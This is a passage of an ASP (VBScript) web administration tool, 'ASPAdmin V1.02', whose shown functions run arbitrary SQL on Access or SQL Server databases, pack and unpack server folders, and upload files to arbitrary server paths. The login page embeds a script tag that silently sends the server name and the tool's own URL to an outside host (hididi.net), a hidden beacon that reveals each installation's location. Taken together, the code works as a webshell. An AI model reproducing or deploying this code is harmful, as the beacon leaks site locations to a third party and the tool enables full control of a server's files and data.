		echo "</tr>"
		echo "<tr>"
		echo "<td align=center class=td>"
		echo "<input type=submit name=Submit value=提交 onclick=""this.form.theAct.value='ShowTables';"">"
		echo "<input type=button value=MDB onclick=""this.form.thePath.value='DataSource;UserName;PassWord;';"">"
		echo "<input type=button value=SQL onclick=""this.form.thePath.value='sql:Provider=SQLOLEDB.1;Server=(local);User ID=UserName;Password=PassWord;Database=Pubs;';"">"
		echo "<input type=reset value=重置>"
		echo "</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub ShowTables()
		Dim Cat, objTable, objColumn, intColSpan, objSchema
		If isDebugMode = False Then On Error Resume Next

		echo "<br/><table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> 数据表及结构查看</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"

		CreateConn()
		Set Cat = Server.CreateObject("ADOX.Catalog")
		Cat.ActiveConnection = conn.ConnectionString
		echo "<tr><td width='20%' valign=top>"
		For Each objTable In Cat.Tables
			echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
			echo "style='width:94%;padding-left:8px;cursor:hand;'>" & objTable.Name & "</span>"
		Next
		echo "</td><td>"
		intColSpan = IIf(isSqlServer = True, "4", "6")

		For Each objTable In Cat.Tables
			echo "<table width=98% align=center>"
			echo "<tr>"
			echo "<td class=trHead colspan=" & intColSpan & ">&nbsp;</td>"
			echo "</tr>"
			echo "<tr>"
			echo "<td colspan=" & intColSpan & " class=td>&nbsp;<strong>"
			echo objTable.Name & "</strong></td>"
			echo "</tr>"

			echo "<tr align=center>"
			echo "<td align=left width=*>&nbsp;列名</td>"
			echo "<td width=80>类型</td>"
			echo "<td width=60>大小</td>"
			echo "<td width=60>可否为空</td>"
			If isSqlServer = False Then
				echo "<td width=50>默认值</td>"
				echo "<td width=100>描述</td>"
			End If
			echo "</tr>"

			For Each objColumn In Cat.Tables(objTable.Name).Columns
				echo "<tr align=center>"
				echo "<td align=left><span style='width:98%;padding-left:5px;'>" & objColumn.Name & "</a></td>"
				echo "<td>" & GetDataType(objColumn.Type) & "</td>"
				If objColumn.DefinedSize <> 0 Then
					echo "<td>" & objColumn.DefinedSize & "</td>"
				 Else
					echo "<td>" & IIf(objColumn.Precision <> 0, objColumn.Precision, "&nbsp;") & "</td>"
				End If
				echo "<td>" & IIf(objColumn.Attributes = 1, "False", "True") & "</td>"
				If isSqlServer = False Then
					echo "<td><span class=fixSpan style='width:40px;padding-left:5px;' title=""" & HtmlEncode(objColumn.Properties("Default").value) & """>"
					echo HtmlEncode(objColumn.Properties("Default").value) & "</span></td>"
					echo "<td align=left><span class=fixSpan style='width:95px;padding-left:5px;' title=""" & objColumn.Properties("Description") & """>"
					echo objColumn.Properties("Description") & "</span></td>"
				End If
				echo "</tr>"
			Next

			echo "<tr>"
			echo "<td colspan=" & intColSpan & " class=td>&nbsp;</td>"
			echo "</tr>"
			echo "</table><br/>"
		Next

		echo "</td>"
		echo "</tr>"

		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=td align=right>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"

		Set Cat = Nothing
		DestoryConn()
	End Sub

	Sub ShowQuery()
		Dim i, j, x, rs, sql, sqlB, sqlC, Cat, intPage, objTable, strParam, strTable, strPrimaryKey
		If isDebugMode = False Then On Error Resume Next
		sql = GetPost("sql")
		strParam = GetPost("param")
		strTable = GetPost("theTable")
		Set rs = Server.CreateObject("Adodb.RecordSet")

		If IsNumeric(strParam) = True Then
			intPage = strParam
		 Else
			intPage = 1
			strTable = strParam
			sql = ""
		End If
		If sql = "" Then
			sql = "Select * From [" & strTable & "]"
		End If

		For i = 1 To Request.Form("KeyWord").Count
			If Request.Form("KeyWord")(i) <> "" Then
				sqlC = Replace(Request.Form("KeyWord")(i), "'", "''")
				sqlC = IIf(Request.Form("JoinTag")(i) = " like ", "'" & sqlC & "'", sqlC)
				sqlB = sqlB & "[" & Request.Form("Fields")(i) & "]" & Request.Form("JoinTag")(i) & sqlC & Request.Form("JoinTag2")(i)
			End If
		Next
		If sqlB <> "" Then
			sql = "Select * From [" & strTable & "] Where " & sqlB
			If Right(sql, 4) = " Or " Then sql = Left(sql, Len(sql) - 4)
			If Right(sql, 5) = " And " Then sql = Left(sql, Len(sql) - 5)
		End If

		echo "<input type=hidden name=sql value=""" & HtmlEncode(sql) & """>"
		echo "<textarea name=sqlB rows=1 style='width:647px;'>" & HtmlEncode(sql) & "</textarea>"
		echo " <input type=button value=执行查询 onclick=""this.form.sql.value=this.form.sqlB.value;Command('Query','0');"">"
		echo "<input type=button value=- onclick='if(this.form.sqlB.rows>3)this.form.sqlB.rows-=3;'>"
		echo "<input type=button value=+ onclick='this.form.sqlB.rows+=3;'>"
		echo "<input type=hidden name=theTable value=""" & HtmlEncode(strTable) & """>"
		echo "<br/><table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> SQL查询器</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"

		CreateConn()
		Set Cat = Server.CreateObject("ADOX.Catalog")
		Cat.ActiveConnection = conn.ConnectionString
		echo "<tr><td width='20%' valign=top>"
		For Each objTable In Cat.Tables
			echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
			echo "style='width:94%;padding-left:8px;cursor:hand;'>"
			If strTable = objTable.Name Then
				echo "<u>" & objTable.Name & "</u>"
			 Else
				echo objTable.Name
			End If
			echo "</span>"
		Next
		echo "</td><td valign=top>"

		If LCase(Left(sql, 7)) = "select " Then
			rs.Open sql, conn, 1, 1
			ChkErr(Err)
			rs.PageSize = PageSize
			If Not rs.Eof Then
				rs.AbsolutePage = intPage
			End If

			echo "<div align=left><table border=1 width=490>"
			echo "<tr>"
			echo "<td height=22 class=trHead>&nbsp;</td>"
			echo "</tr>"
			echo "<tr>"
			echo "<td height=22 class=td width=100>&nbsp;查询</td>"
			echo "</tr><tr><td align=center>"
			echo "<div><select name=Fields>"
			For Each x In rs.Fields
				echo "<option value=""" & x.Name & """>" & x.Name & "</option>"
			Next
			echo "</select>"
			echo "<select name=JoinTag><option value=' like '>like</option><option value='='>=</option></select>"
			echo "<input name=KeyWord style='width:200px;'>"
			echo "<select name=JoinTag2><option value=' And '>And</option><option value=' Or '>Or</option></select> "
			echo "<input type=button value=+ onclick=""this.parentElement.outerHTML+='<div>'+this.parentElement.innerHTML+'</div>';"">"
			echo "<input type=button value=- onclick=""this.parentElement.outerHTML='';""></div> "
			echo "<input type=button value=查询 onclick=this.form.sql.value='';this.form.param.value='1';this.form.theAct.value='Query';this.form.submit();>"
			echo "</td></tr>"
			echo "<tr><td class=td>&nbsp;</td></tr>"
			echo "</table></div><br/>"

			If rs.Fields.Count > 0 Then
				strPrimaryKey = GetPrimaryKey(strTable)

				echo "<table border=1 align=left cellpadding=0 cellspacing=0>"
				echo "<tr>"
				echo "<td height=22 class=trHead colspan=" & rs.Fields.Count + 1 & ">&nbsp;</td>"
				echo "</tr>"
				echo "<tr>"
				echo "<td height=22 class=td width=100 align=center>操作</td>"
				For j = 0 To rs.Fields.Count - 1
					echo "<td height=22 class=td width=130><span class=fixSpan title='" & rs.Fields(j).Name & "' style='width:125px;padding-left:5px;'>" & rs.Fields(j).Name & "</span></td>"
				Next
				For i = 1 To rs.PageSize
					If rs.Eof Then Exit For
					echo "</tr>"
					echo "<tr valign=top>"
					echo "<td height=22 align=center>"
					If strPrimaryKey <> "" Then
						echo "<input type=button value=编辑 title='编辑/添加' onclick=showSqlEdit('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');>"
						echo "<input type=button value=删除 onclick=sqlDelete('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');></td>"
					 Else
						echo "<input type=button value=编辑 title='编辑/添加' onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');showSqlEdit('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');>"
						echo "<input type=button value=删除 onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');sqlDelete('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');></td>"
					End If
					For j = 0 To rs.Fields.Count - 1
						echo "<td height=22><span class=fixSpan style='width:125px;padding-left:5px;'>" & HtmlEncode(IIf(Len(rs(j)) > 50, Left(rs(j), 50), rs(j))) & "</span></td>"
					Next
					echo "</tr>"
					rs.MoveNext
				Next
			End If
			echo "<tr>"
			echo "<td height=22 class=td colspan=" & rs.Fields.Count + 1 & ">&nbsp;Page: "
			For i = 1 To rs.PageCount
				If i > maxPageCount Then
					echo "..."
					Exit For
				End If
				echo Replace("<a href=javascript:Command('Query','" & i & "');><font {$font" & i & "}>" & i & "</font></a> ", "{$font" & intPage & "}", " color=red")
			Next
			echo "</td></tr></table>"
			rs.Close
		 Else
			conn.Execute(sql)
			ChkErr(Err)
			echo "<script>alert('查询执行成功,按确定返回.\n刷新后可以看到执行效果.');history.back();</script>"
			Set rs = Nothing
			Set Cat = Nothing
			DestoryConn()
			Exit Sub
		End If

		echo "</td>"
		echo "</tr>"

		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=td align=right>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"

		Set rs = Nothing
		Set Cat = Nothing
		DestoryConn()
	End Sub

	Sub SqlShowEdit()
		Dim intFindI, intFindJ, intFindK, intFindL, intFindM, strJoinTag, multiTables
		Dim i, x, rs, sql, strTable, strExtra, strParam, intI, strColumn, strValue, strPrimaryKey
		If isDebugMode = False Then On Error Resume Next
		sql = GetPost("sql")
		strParam = GetPost("param")
		strTable = GetPost("theTable")
		intI = InStr(strParam, "!")
		intFindI = InStr(LCase(sql), " where")
		intFindJ = InStrRev(LCase(sql), "order ")
		intFindK = IIf(LCase(Right(sql, 4)) = "desc", "1", "0")
		strValue = Mid(strParam, intI + 1)
		strColumn = Left(strParam, intI - 1)
		strExtra = IIf(theAct = "next", ">", IIf(theAct = "pre", "<", ""))

		If intFindJ > 0 Then sql = Left(sql, intFindJ - 1)
		If intFindI > 0 Then
			strJoinTag = ") And "
			sql = Left(sql, intFindI + 5) & "(" & Mid(sql, intFindI + 6)
		 Else
			strJoinTag = " Where "
		End If
		If intFindK > 0 Then strExtra = IIf(strExtra = ">", "<", IIf(strExtra = "<", ">", ""))

		CreateConn()
		strPrimaryKey = GetPrimaryKey(strTable)
		Set rs = Server.CreateObject("Adodb.RecordSet")

		If strExtra <> "" And IsNumeric(strValue) = True Then
			sql = "Select Top 1" & Mid(sql, 7) & strJoinTag
			sql = sql & strColumn & " " & strExtra & " " & strValue & " Order By " & strColumn & IIf(strExtra = "<", " Desc", " Asc")
		 Else
			sql = sql & strJoinTag & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
		End If

		intFindM = InStr(LCase(sql), "from")
		intFindI = InStr(LCase(sql), " where")
		intFindL = InStr(intFindM, LCase(sql), ",", 1)
		If intFindL > 0 Then
			If (intFindL > intFindM) And (intFindL < intFindI) Then
				multiTables = True
			End If
		End If

		If theAct <> "edit" Then
			rs.Open sql, conn, 1, 3
			ChkErr(Err)
			If rs.Eof Then
				echo "<script>alert('该记录不存在!');history.back();</script>"
				Response.End()
			End If

			If theAct = "new" Then rs.AddNew

			If theAct = "del" Then
				rs.Delete
				rs.Update
				AlertThenClose("删除成功!")
				Response.End
			 Else
				If theAct <> "pre" And theAct <> "next" Then
					For Each x In rs.Fields
						If strPrimaryKey <> x.Name Then
							rs(x.Name) = Request.Form(x.Name & "_Column")
						End If
					Next
					rs.Update
				End If
				strValue = rs(strColumn)
			End If

			If theAct = "new" Then
				sql = "Select * From [" & strTable & "] Where " & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
			End If
			rs.Close
		End If

		rs.Open sql, conn, 1, 1

		echo "<table border=1 width=600>"
		echo "<tr>"
		echo "<td height=22 class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> SQL数据修改</td>"
		echo "</tr>"
		echo "<input type=hidden value=PageDBTool name=PageName>"
		echo "<input type=hidden name=theAct value=save>"
		echo "<input type=hidden name=sql value=""" & HtmlEncode(GetPost("sql")) & """>"
		echo "<input type=hidden name=theTable value=""" & strTable & """>"
		echo "<input type=hidden value=""" & HtmlEncode(strColumn & "!" & strValue) & """ name=param>"
		echo "<input type=hidden value=""" & HtmlEncode(GetPost("thePath")) & """ name=thePath>"

		For Each x In rs.Fields
			echo "<tr>"
			echo "<td height=22 width=150>&nbsp;" & HtmlEncode(x.Name) & "<br/>&nbsp;(<em>" & GetDataType(x.Type) & "</em>)</td>"
			echo "<td width=450>&nbsp;"
			echo "<textarea style='width:436;' name=""" & x.Name & "_Column""" & IIf(x.Type = 201 Or x.Type = 203, " rows=6", "")
			echo IIf(x.Properties("ISAUTOINCREMENT").Value, " disabled", "")
			echo IIf(x.Name = strPrimaryKey, " title='主键,由于主键约束,将无法被修改,也不能出现相同值.'", "") & ">" & HtmlEncode(x.value) & "</textarea>"
			echo "</td></tr>"
		Next
		echo "<tr>"
		echo "<td colspan=2 class=td align=center>"
		If multiTables = False Then
			If strPrimaryKey = "" Then
				echo "<input type=button value=修改 onclick=if(confirm('确定要修改这条记录吗?\n此表没有主键,继续操作可能会导致数据库灾难,并且该错误无法被撤消.')){this.form.theAct.value='save';this.form.submit();}>"
			 Else
				echo "<input type=submit value=修改 onclick=this.form.theAct.value='save';>"
				echo "<input type=button value=添加 onclick=if(confirm('确实要添加当前为新记录吗?')){this.form.theAct.value='new';this.form.submit();};>"
				echo "<input type=button value=删除 onclick=if(confirm('确实删除当前记录吗?')){this.form.theAct.value='del';this.form.submit();};>"
			End If
		 Else
			echo "<input type=button value=暂不支持多表操作 disabled>"
		End If
		echo "<input type=reset value=重置><input type=button value=关闭 onclick='window.close();'>"
		If IsNumeric(strValue) = True Then
			echo "<input type=button value=上一条 onclick=""this.form.theAct.value='pre';this.form.submit();"">"
			echo "<input type=button value=下一条 onclick=""this.form.theAct.value='next';this.form.submit();"">"
		End If
		echo "</td>"
		echo "</tr>"
		echo "</table>"

		rs.Close
		Set rs = Nothing
		DestoryConn()
	End Sub

	Sub CreateConn()
		Dim connStr, mdbInfo, userName, passWord, strPath
		If isDebugMode = False Then On Error Resume Next
		Set conn = Server.CreateObject("Adodb.Connection")
		If LCase(Left(thePath, 4)) = "sql:" Then
			connStr = Mid(thePath, 5)
			isSqlServer = True
		 Else
			mdbInfo = Split(thePath, ";")
			strPath = mdbInfo(0)
			strPath = strPath
			ChkErr(Err)
			If UBound(mdbInfo) >= 2 Then
				userName = mdbInfo(1)
				passWord = mdbInfo(2)
			End If
			connStr = Replace(accessStr, "{$dbSource}", strPath)
			connStr = Replace(connStr, "{$userId}", userName)
			connStr = Replace(connStr, "{$passWord}", passWord)
		end if
		conn.Open connStr
		ChkErr(Err)
	End Sub

	Sub DestoryConn()
		conn.Close
		Set conn = Nothing
	End Sub

	Function GetDataType(flag)
		Dim str
		Select Case flag
			Case 0 : str = "EMPTY"
			Case 2 : str = "SMALLINT"
			Case 3 : str = "INTEGER"
			Case 4 : str = "SINGLE"
			Case 5 : str = "DOUBLE"
			Case 6 : str = "CURRENCY"
			Case 7 : str = "DATE"
			Case 8 : str = "BSTR"
			Case 9 : str = "IDISPATCH"
			Case 10 : str = "ERROR"
			Case 11 : str = "BIT"
			Case 12 : str = "VARIANT"
			Case 13 : str = "IUNKNOWN"
			Case 14 : str = "DECIMAL"
			Case 16 : str = "TINYINT"
			Case 17 : str = "UNSIGNEDTINYINT"
			Case 18 : str = "UNSIGNEDSMALLINT"
			Case 19 : str = "UNSIGNEDINT"
			Case 20 : str = "BIGINT"
			Case 21 : str = "UNSIGNEDBIGINT"
			Case 72 : str = "GUID"
			Case 128 : str = "BINARY"
			Case 129 : str = "CHAR"
			Case 130 : str = "WCHAR"
			Case 131 : str = "NUMERIC"
			Case 132 : str = "USERDEFINED"
			Case 133 : str = "DBDATE"
			Case 134 : str = "DBTIME"
			Case 135 : str = "DBTIMESTAMP"
			Case 136 : str = "CHAPTER"
			Case 200 : str = "VARCHAR"
			Case 201 : str = "LONGVARCHAR"
			Case 202 : str = "VARWCHAR"
			Case 203 : str = "LONGVARWCHAR"
			Case 204 : str = "VARBINARY"
			Case 205 : str = "LONGVARBINARY"
			Case Else : str = flag
		End Select
		GetDataType = str
	End Function

	Function GetPrimaryKey(strTable)
		Dim rsPrimary
		If isDebugMode = False Then On Error Resume Next
		Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable))
		If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME")
		Set rsPrimary = Nothing
	End Function

	Sub PagePack()
		ShowTitle("文件夹打包/解开器")
		Server.ScriptTimeOut = 5000

		If theAct = "PackIt" Or theAct = "PackOne" Then
			PackIt()
			AlertThenClose("打包成功!生成为该文件夹目录下的" & sPacketName & "文件.\n下载下来后可以使用unpack.vbs进行解开.")
			Response.End()
		End If
		If theAct = "UnPack" Then
			UnPack()
			AlertThenClose("解开成功!解开目录为" & sPacketName & "所在目录.")
			Response.End()
		End If

		PackTable()
	End Sub

	Sub PackTable()
		echo "<base target=_blank>"
		echo "<table width=750 border=1>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> 文件夹打包/解开器(需FSO支持)"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<form method=post action='" & url & "'>"
		echo "<tr>"
		echo "<td width='20%'>&nbsp;打包</td>"
		echo "<td>&nbsp;<input name=thePath value='" & HtmlEncode(rootPath) & "' style='width:467px;'> "
		echo "<input type=hidden value=PagePack name=PageName>"
		echo "<input type=hidden value=PackIt name=theAct>"
		echo "<input type=submit value='开始打包'>"
		echo "</td></tr>"
		echo "</form>"
		echo "<form method=post action='" & url & "'>"
		echo "<tr>"
		echo "<td>&nbsp;解包</td>"
		echo "<td>&nbsp;<input name=thePath value=""" & HtmlEncode(sPacketName) & """ style='width:467px;'> "
		echo "<input type=hidden value=PagePack name=PageName>"
		echo "<input type=hidden value=UnPack name=theAct>"
		echo "<input type=submit value='开始解包'>"
		echo "</td></tr>"
		echo "</form>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub PackIt()
		Dim rs, db, conn, stream, connStr, objX, strPath, strPathB, isFolder, adoCatalog
		If isDebugMode = False Then On Error Resume Next

		strPath = thePath
		db = strPath & "\" & sPacketName
		Set rs = Server.CreateObject("ADODB.RecordSet")
		Set stream = Server.CreateObject("ADODB.Stream")
		Set conn = Server.CreateObject("ADODB.Connection")
		Set adoCatalog = Server.CreateObject("ADOX.Catalog")
		connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db

		If fso.FolderExists(strPath) = False Then
			ShowErr(thePath & " 目录不存在或者不允许访问!")
		End If
		If theAct = "PackIt" Then
			If fso.GetFolder(strPath).Size > 300 * 1024 * 1024 Then
				ShowErr("该目录超过300M, 可能造成服务器当机, 操作停止.")
			End If
		End If
		If fso.FileExists(db) = False Then
			adoCatalog.Create connStr
			conn.Open connStr
			conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
		 Else
			conn.Open connStr
		End If

		stream.Open
		stream.Type = 1
		rs.Open "FileData", conn, 3, 3

		If theAct = "PackIt" Then
			Call FsoTreeForMdb(strPath, rs, stream)
		 Else
		 	strPath = GetPost("truePath") & "\"
			For Each objX In Request.Form("checkBox")
				strPathB = strPath & objX
				isFolder = fso.FolderExists(strPathB)
				If isFolder = True Then
					Call FsoTreeForMdb(strPathB, rs, stream)
				 Else
					If InStr(sysFileList, "$" & objX & "$") <= 0 Then
						rs.AddNew
						rs("thePath") = Mid(strPathB, 4)
						stream.LoadFromFile(strPathB)
						rs("fileContent") = stream.Read()
						rs.Update
					End If
				End If
			Next
		End If

		rs.Close
		Conn.Close
		stream.Close
		Set rs = Nothing
		Set conn = Nothing
		Set stream = Nothing
		Set adoCatalog = Nothing
	End Sub

	Sub UnPack()
		Dim rs, ws, str, conn, stream, connStr, strPath, theFolder
		If isDebugMode = False Then On Error Resume Next

		strPath = thePath
		str = fso.GetParentFolderName(strPath) & "\"
		Set rs = CreateObject("ADODB.RecordSet")
		Set stream = CreateObject("ADODB.Stream")
		Set conn = CreateObject("ADODB.Connection")
		connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath

		conn.Open connStr
		ChkErr(Err)
		rs.Open "FileData", conn, 1, 1
		stream.Open
		stream.Type = 1

		Do Until rs.Eof
			theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
			If fso.FolderExists(str & theFolder) = False Then
				CreateFolder(str & theFolder)
			End If
			stream.SetEOS()
			If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent")
			stream.SaveToFile str & rs("thePath"), 2
			rs.MoveNext
		Loop

		rs.Close
		conn.Close
		stream.Close
		Set ws = Nothing
		Set rs = Nothing
		Set stream = Nothing
		Set conn = Nothing
	End Sub

	Sub FsoTreeForMdb(strPath, rs, stream)
		Dim item, theFolder, folders, files
		Set theFolder = fso.GetFolder(strPath)
		Set files = theFolder.Files
		Set folders = theFolder.SubFolders

		For Each item In folders
			Call FsoTreeForMdb(item.Path, rs, stream)
		Next

		For Each item In files
			If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
				rs.AddNew
				rs("thePath") = Mid(item.Path, 4)
				stream.LoadFromFile(item.Path)
				rs("fileContent") = stream.Read()
				rs.Update
			End If
		Next

		Set files = Nothing
		Set folders = Nothing
		Set theFolder = Nothing
	End Sub

	Sub PageUpload()
		ShowTitle("批量文件上传")
		theAct = Request.QueryString("theAct")
		If theAct = "upload" Then
			StreamUpload()
			echo "<script>alert('上传成功!');history.back();</script>"
		End If
		ShowUpload()
	End Sub

	Sub ShowUpload()
		If thePath = "" Then thePath = rootPath
		echo "<form method=post onsubmit=this.Submit.disabled=true; enctype='multipart/form-data' action=?PageName=PageUpload&theAct=upload>"
		echo "<table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> 批量文件上传</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td width='20%'>"
		echo "&nbsp;上传到:"
		echo "</td>"
		echo "<td>"
		echo "&nbsp;<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=48><input type=checkbox name=overWrite>覆盖模式"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td valign=top>"
		echo "&nbsp;文件选择: "
		echo "</td>"
		echo "<td>&nbsp;<input id=fileCount size=6 value=1> <input type=button value=设定 onclick=makeFile(fileCount.value)>"
		echo "<div id=fileUpload>"
		echo "&nbsp;<input name=file1 type=file size=50>"
		echo "</div></td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td align=center class=td colspan=2>"
		echo "<input type=submit name=Submit value=上传 onclick=this.form.action+='&overWrite='+this.form.overWrite.checked;>"
		echo "<input type=reset value=重置><input type=button value=关闭 onclick=window.close();>"
		echo "</td>"
		echo "</tr>"
		echo "</table>"
		echo "</form>"
		echo "<script language=javascript>" & vbNewLine
		echo "function makeFile(n){" & vbNewLine
		echo "	fileUpload.innerHTML = '&nbsp;<input name=file1 type=file size=50>'" & vbNewLine
		echo "	for(var i=2; i<=n; i++)" & vbNewLine
		echo "		fileUpload.innerHTML += '<br/>&nbsp;<input name=file' + i + ' type=file size=50>';" & vbNewLine
		echo "}" & vbNewLine
		echo "</script>"
	End Sub

	Sub StreamUpload()
		Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite
		Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd
		Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd
		If isDebugMode = False Then On Error Resume Next
		Server.ScriptTimeOut = 5000
		newLine = ChrB(13) & ChrB(10)
		overWrite = Request.QueryString("overWrite")
		overWrite = IIf(overWrite = "true", "2", "1")
		Set sA = Server.CreateObject("Adodb.Stream")
		Set sB = Server.CreateObject("Adodb.Stream")

		sA.Type = 1
		sA.Mode = 3
		sA.Open
		sA.Write Request.BinaryRead(Request.TotalBytes)
		sA.Position = 0
		theForm = sA.Read()
'		sA.SaveToFile "c:\001.txt", 2 ''保存到临时文件进行查看
		itemDiv = LeftB(theForm, InStrB(theForm, newLine) - 1)
		totalLen = LenB(theForm)
		itemDivLen = LenB(itemDiv)
		intStart = itemDivLen + 2
		intUpLen = 0 '上面数据的长度
		Do
			intDataLen = InStrB(intStart, theForm, itemDiv) - itemDivLen - 5 ''equals - 2(回车) - 1(InStr) - 2(回车)
			intDataLen = intDataLen - intUpLen
			intEnd = intStart + intDataLen
			intInfoEnd = InStrB(intStart, theForm, newLine & newLine) - 1

			sB.Type = 1
			sB.Mode = 3
			sB.Open
			sA.Position = intStart
			sA.CopyTo sB, intInfoEnd - intStart ''保存元素信息部分

			sB.Position = 0
			sB.Type = 2
			sB.CharSet = "GB2312"
			strInfo = sB.ReadText()

			strFileName = ""
			intFindStart = InStr(strInfo, "name=""") + 6
			intFindEnd = InStr(intFindStart, strInfo, """", 1)
			strName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)

			If InStr(strInfo, "filename=""") > 0 Then ''>0则为文件,开始接收文件
				intFindStart = InStr(strInfo, "filename=""") + 10
				intFindEnd = InStr(intFindStart, strInfo, """", 1)
				strFileName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
				strFileName = Mid(strFileName, InStrRev(strFileName, "\") + 1)
			End If

			sB.Close
			sB.Type = 1
			sB.Mode = 3
			sB.Open
			sA.Position = intInfoEnd + 4
			sA.CopyTo sB, intEnd - intInfoEnd - 4

			If strFileName <> "" Then
				sB.SaveToFile strPath & strFileName, overWrite
				ChkErr(Err)
			 Else
				If strName = "thePath" Then
					sB.Position = 0
					sB.Type = 2
					sB.CharSet = "GB2312"
					strInfo = sB.ReadText()
					thePath = strInfo
					strPath = strInfo & "\"
				End If
			End If

			sB.Close

			intUpLen = intStart + intDataLen + 2
			intStart = intUpLen + itemDivLen + 2
		Loop Until (intStart + 2) = totalLen

		sA.Close
		Set sA = Nothing
		Set sB = Nothing
	End Sub

	Sub PageLogin()
		Dim passWord
		passWord = Encode(GetPost("password"))

		If theAct = "Login" Then
			If userPassword = passWord Then
				Session(m & "userPassword") = userPassword
				ShowTitle("登录成功!")
				PageReadMe()
				Exit Sub
			End If
		End If

		If pageName = "PageOut" Then
			Session.Contents.Remove(m & "userPassword")
			RedirectTo(url)
		End If

		If Session(m & "userPassword") = userPassword Then
			PageReadMe()
			Exit Sub
		End If

		ShowTitle("管理登录")
		echo "<body onload=document.formx.password.focus();>"
		echo "<table width=416 align=center>"
		echo "<form method=post name=formx action=""" & url & """>"
		echo "<input type=hidden name=theAct value=Login>"
		echo "<tr>"
		echo "<td align=center class=td>管理登录</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td height=75 align=center>"
		echo "<input name=password type=password style='border:1px solid #d8d8f0;background-color:#ffffff;'> "
		echo "<input type=submit value=LOGIN style='border:1px solid #d8d8f0;background-color:#f9f9fd;'>"
		echo "</td>"
		echo "</tr>"
		echo "<tr> "
		echo "<td align=center class=td>程序网络工作组ASPAdmin(物理路径版) V1.02</td>"
		echo "</tr>"
		echo "</form>"
		echo "</table>"
		echo "<script language=javascript src=""http://hididi.net/ASPAdmin/ASPAdmin_T.asp?theUrl=http://" & Request.ServerVariables("SERVER_NAME") & url & "&productName=HigroupASPAdmin_V1_02(A)""></script>"
		echo "</body>"
	End Sub

	Sub PageReadMe()
		Dim strInfo, aryInfo(7), theAry
		ShowTitle("ASP站点管理员(物理路径版) 简单说明")

		aryInfo(0) = "服务器信息探针|1.服务器基本信息<br/>&nbsp;&nbsp;WEB服务器的一些基本信息<br/>2.服务器组件信息<br/>&nbsp;&nbsp;一些常用的ASP组件的支持情况检测<br/>" & _
					 "3.Application/Session查看<br/>&nbsp;&nbsp;所有系统变量及其值的查看, 当前浏览器进程和服务器的会话及内容的查看"
		aryInfo(1) = "FSO文件浏览操作器|1.基本功能<br/>&nbsp;&nbsp;站点目录浏览, 新建, 重命名, 另存为, 删除, 文本编辑, 复制/移动到文件夹<br/>" & _
					 "2.外链功能<br/>&nbsp;&nbsp;项目打包(文件夹打包/解开器), mdb类型数据库操作(数据库操作器), 文件上传(批量文件上传)"
		aryInfo(2) = "数据库操作器<br/>(Access, SQL Server)|1.基本功能:<br/>&nbsp;&nbsp;数据库基本表结构查看, 数据表记录操作(查看,添加,修改,删除), 多条件记录查询<br/>" & _
					 "2.扩展功能<br/>&nbsp;&nbsp;执行自定义查询, 用来执行所有自定义SQL语句, 如果是Select查询还可以返回记录"
